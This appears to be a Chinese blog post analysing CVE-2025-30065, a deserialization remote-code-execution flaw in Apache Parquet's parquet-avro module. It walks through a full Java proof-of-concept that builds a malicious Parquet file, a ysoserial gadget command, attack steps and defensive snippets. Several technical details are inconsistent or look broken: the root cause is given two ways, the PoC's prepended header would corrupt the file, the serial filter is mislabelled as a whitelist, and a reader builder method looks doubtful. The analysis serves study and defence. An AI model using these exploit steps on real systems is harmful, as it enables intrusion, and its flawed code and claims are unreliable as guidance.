CVE-2025-30065 漏洞全解析|Apache Parquet 反序列化远程代码执行漏洞分析

CVE-2025-30065 漏洞全解析|Apache Parquet 反序列化远程代码执行漏洞分析

在这里插入图片描述

一、漏洞概述

  • 漏洞编号:CVE-2025-30065
  • 影响组件:Apache Parquet(parquet-avro 模块)
  • 漏洞类型:反序列化漏洞(Unsafe Deserialization)
  • 危害等级:高危(CVSS 评分 ≥ 9.0)
  • 攻击向量:本地文件或远程数据载入(取决于使用场景)
  • 影响版本:<= 1.15.0(parquet-avro)
  • 认证要求:无需认证,仅需触发反序列化逻辑
  • 修复版本:1.15.1
  • 发布日期:2025 年第一季度

Apache Parquet 是一种常用于大数据平台(如 Spark、Flink、Hive)中的列式数据存储格式,parquet-avro 模块支持基于 Avro 模式的读写功能。在 1.15.0 及更早版本中,该模块对 Avro 模式中的 stringableClass 字段反序列化处理不当,攻击者可构造恶意 Parquet 文件,当目标系统尝试读取该文件时,即可触发反序列化,进而实现远程代码执行(RCE)。


二、漏洞原理分析

该漏洞的根本原因在于 Apache Parquet 的 parquet-avro 模块在处理 Avro schema 中字段的 default 值时,未对其进行严格的安全检查或类型限制。在早期版本中,如果 default 字段被设置为一个类路径字符串或嵌入恶意构造的 payload,系统在加载 Parquet 文件并解析 Avro schema 时会自动尝试反序列化该 default 值,从而导致任意 Java 类的实例化。

具体流程如下:

  1. 攻击者构造 Avro schema,字段定义类似如下:
{
"name": "payload",
"type": "string",
"default": "!com.securitytest.RCEPayload"
}
  1. parquet-avro 解析 schema 时,该 default 字段被直接传递给底层 Avro 解析逻辑。

  2. 如果类路径中存在与该值匹配的类(如 gadget 类),且该类定义了 readObject() 等敏感方法,则会被 JVM 自动反序列化执行,触发攻击链。

  3. 若系统中存在 ysoserial 常见的 Gadget 依赖(如 CommonsCollections、Groovy 等),可进一步利用实现远程命令执行(RCE)。

该漏洞在 parquet-avro 1.15.1 版本中被修复,新增了对 default 字段的限制和过滤逻辑,避免任意对象反序列化。


三、攻击利用流程

  1. 准备恶意 Avro schema,将 default 字段嵌入 Gadget 链对象
  2. 生成带恶意 schema 的 Parquet 文件
  3. 将 Parquet 文件上传到目标系统,或等待系统加载
  4. 触发读取逻辑(如 Spark 加载 parquet 文件)
  5. 目标系统执行恶意对象,导致远程命令执行

四、📊 影响范围

项目描述
受影响组件parquet-avro <= 1.15.0
使用场景Hadoop, Spark, Hive, Presto 等基于 Parquet 的读写模块
利用条件目标系统使用 parquet-avro 且类路径中包含 gadget 链
攻击后果任意代码执行、系统接管、远程命令执行

五、 利用示例(PoC)

以下为完整的 PoC Java 程序(由 h3st4k3r 编写),用于生成带有恶意 Avro Schema 的 Parquet 文件。

/**
 * @author h3st4k3r
 * @version 1.1
 * @license 仅用于授权的安全研究与教育目的
 */

import org.apache.avro.Schema;
import org.apache.parquet.avro.AvroParquetWriter;
import org.apache.parquet.hadoop.ParquetWriter;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.Path;
import java.io.IOException;
import java.nio.charset.StandardCharsets;

/**
 * 生成一个带有恶意 Avro Schema 的 Parquet 文件,用于复现 CVE-2025-30065。
 * 在文件头部添加警告信息,标识其为安全研究用途的 PoC。
 */
public class ParquetExploitGenerator {

    // 默认输出文件名
    private static final String DEFAULT_OUTPUT_FILE = "exploit.parquet";
    
    // 默认警告头信息(写入文件开头)
    private static final String DEFAULT_WARNING_HEADER =
        "X-PoC-Warning: This is a proof of concept for CVE-2025-30065 - Unauthorized use is prohibited.";

    public static void main(String[] args) {
        // 读取命令行参数(或使用默认值)
        String outputFile = args.length > 0 ? args[0] : DEFAULT_OUTPUT_FILE;
        String warningHeader = args.length > 1 ? args[1] : DEFAULT_WARNING_HEADER;

        try {
            // 生成恶意 Parquet 文件
            generateMaliciousParquetFile(outputFile, warningHeader);
            System.out.println("[+] 恶意文件生成成功: " + outputFile);
            System.out.println("[+] 已写入警告信息和元数据。");
        } catch (IOException e) {
            System.err.println("[-] 文件生成失败: " + e.getMessage());
            e.printStackTrace();
        }
    }

    /**
     * 构造并写入带有恶意 schema 的 Parquet 文件。
     *
     * @param outputFile     输出文件名
     * @param warningHeader  写入文件头部的警告内容
     * @throws IOException   写文件异常
     */
    private static void generateMaliciousParquetFile(String outputFile, String warningHeader) throws IOException {
        // 构造恶意 Avro schema,default 字段中伪造类路径,企图触发反序列化
        String maliciousSchemaJson = "{"
            + "\"type\":\"record\","
            + "\"name\":\"SecurityTest\","
            + "\"fields\":[{"
            + "\"name\":\"payload\","
            + "\"type\":\"string\","
            + "\"default\":\"!com.securitytest.RCEPayload\""  // 伪造类路径入口
            + "}]}";

        // 解析 schema 字符串为 Avro 的 Schema 对象
        Schema schema = new Schema.Parser().parse(maliciousSchemaJson);

        // 配置输出路径和 Hadoop 配置对象
        Path path = new Path(outputFile);
        Configuration conf = new Configuration();

        // 使用 AvroParquetWriter 创建 Parquet 文件并写入空数据(主要是 schema)
        try (ParquetWriter<Object> writer = AvroParquetWriter.builder(path)
            .withSchema(schema)
            .withConf(conf)
            .build()) {
            writer.write(null); // 写入空记录,确保 schema 被嵌入
        }

        // 在文件头部追加警告标识
        appendWarningHeader(outputFile, warningHeader);
    }

    /**
     * 向 Parquet 文件头部添加警告信息。
     *
     * @param filePath      文件路径
     * @param warningHeader 要添加的警告内容
     * @throws IOException  读取或写入异常
     */
    private static void appendWarningHeader(String filePath, String warningHeader) throws IOException {
        // 读取原始 Parquet 文件内容
        byte[] originalContent = java.nio.file.Files.readAllBytes(java.nio.file.Paths.get(filePath));

        // 准备警告头字节数组
        byte[] headerBytes = (warningHeader + "\n").getBytes(StandardCharsets.UTF_8);
        byte[] newContent = new byte[headerBytes.length + originalContent.length];

        // 将警告头和原始内容拼接
        System.arraycopy(headerBytes, 0, newContent, 0, headerBytes.length);
        System.arraycopy(originalContent, 0, newContent, headerBytes.length, originalContent.length);

        // 写回文件(覆盖原文件)
        java.nio.file.Files.write(java.nio.file.Paths.get(filePath), newContent);
    }
}

该程序将构造一个 payload 字段的 Avro Schema,其中 default 值伪造为一个类路径(如 !com.securitytest.RCEPayload),一旦目标系统尝试加载该 Parquet 文件,即可触发反序列化行为。


六、Gadget 构造与漏洞触发流程详解

漏洞利用的核心在于反序列化 gadget 链(即恶意对象链),以下是典型攻击路径:

构建反序列化链:

  1. 使用工具如 ysoserial 构造 gadget payload,例如:
 java -jar ysoserial.jar CommonsCollections1 'touch /tmp/pwned' > payload.ser
  1. 使用 Base64 将其编码,并封装入 Avro schema 的 default 字段,或利用 Apache Avro 的 Object encoding 功能直接写入反序列化入口字段中。

  2. 生成 Parquet 文件嵌入此 schema 与 payload

触发条件:

  • 受害系统(如 Spark/Flink)使用 parquet-avro 读取该文件
  • 模块自动解析 default 字段,调用 ObjectMapper 或 AvroReader 执行对象恢复
  • JVM 自动调用目标类的 readObject() 方法
  • gadget 链生效 ⇒ 执行命令

触发关键条件:

  • 类路径中存在 Gadget(如:CommonsCollections、Groovy、Spring)
  • 使用 parquet-avro 的默认 reader 实现(如 AvroParquetReader
  • 默认启用 schema default 字段反序列化逻辑(已在 1.15.1 修复)

GitHub 漏洞利用项目(来自 h3st4k3r):

  • 仓库链接:https://github.com/h3st4k3r/CVE-2025-30065

  • 利用方式:

    1. 利用 ysoserial 生成 gadget
    2. 将其作为 default 字段嵌入到 Avro schema
    3. 写入到 Parquet 文件中
    4. 通过 ParquetReader 加载触发漏洞

示例代码片段:

Schema schema = new Schema.Parser().parse(new File("malicious_schema.json"));
GenericRecord record = new GenericData.Record(schema);
// 设置 default 字段为 Gadget
ParquetWriter<GenericRecord> writer = ... // 写入到 parquet 文件

七、💻 Metasploit 模块模拟

目前未有官方 MSF 模块,但你可模拟如下逻辑:

  • 上传恶意 Parquet 文件
  • 通过 RPC 触发 Spark / Presto 加载路径
  • 检测是否连接反弹 shell / DNS 请求

用户侧加固:

  • 禁止信任外部 Parquet 文件(不要加载未知源文件)
  • 使用安全类加载器(限制反序列化类白名单)
  • 对 Spark/Flink 作业中禁用读取 default 构造字段

八、反序列化攻击链流程图

以下为 CVE-2025-30065 的攻击链关键流程图(可用于教学或风险通报):

┌──────────────────────────────┐
│ 攻击者构造恶意 Avro Schema   │
│ 字段 default = Gadget 类路径 │
└────────────┬───────────────┘
             ↓
┌──────────────────────────────┐
│ 嵌入 Schema 至 Parquet 文件 │
└────────────┬───────────────┘
             ↓
┌──────────────────────────────────────────┐
│ 目标系统(如 Spark)使用 parquet-avro 加载 │
│ → 解析 default → 实例化对象 → 触发 readObject() │
└────────────┬────────────────────────────┘
             ↓
┌──────────────────────────────┐
│ Gadget 链生效,执行系统命令 │
└──────────────────────────────┘

九、🛡️ Spark/Flink 安全读取建议与防御代码片段

为避免在 Spark、Flink 等大数据平台中无意触发反序列化攻击链,建议采取如下策略:

方式一:禁止读取 default 字段(Avro 层)

在读取 Parquet 文件前,过滤 schema 中含有 default 的字段:

val rawSchema = new Schema.Parser().parse(schemaString)
val filteredFields = rawSchema.getFields.asScala.filterNot(_.defaultVal() != null)

方式二:在 Spark 作业中添加类型限制(类名白名单)

System.setProperty("jdk.serialFilter", "!*com.securitytest.*,!*org.apache.commons.*,java.util.*,java.lang.*")

方式三:升级 parquet-avro + 使用安全加载器

确保版本 >= 1.15.1,并使用如下代码强制手动映射字段类型:

AvroParquetReader<GenericRecord> reader = AvroParquetReader
    .<GenericRecord>builder(path)
    .withConf(new Configuration())
    .disableCompatibility() // 禁用自动字段推断
    .build();

参考链接


总结

CVE-2025-30065 是一个典型的 Java 反序列化漏洞,其危险之处在于:仅通过解析数据文件即可执行恶意代码。在使用大数据平台时,如果存在加载外部 Parquet 文件的需求,务必开启类白名单机制,避免反序列化攻击链触发。

🔥 强烈建议所有使用 Apache Parquet 的开发者和平台管理员立刻升级 parquet-avro 至 1.15.1+,并结合静态/动态扫描工具对现有数据集做安全审计。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值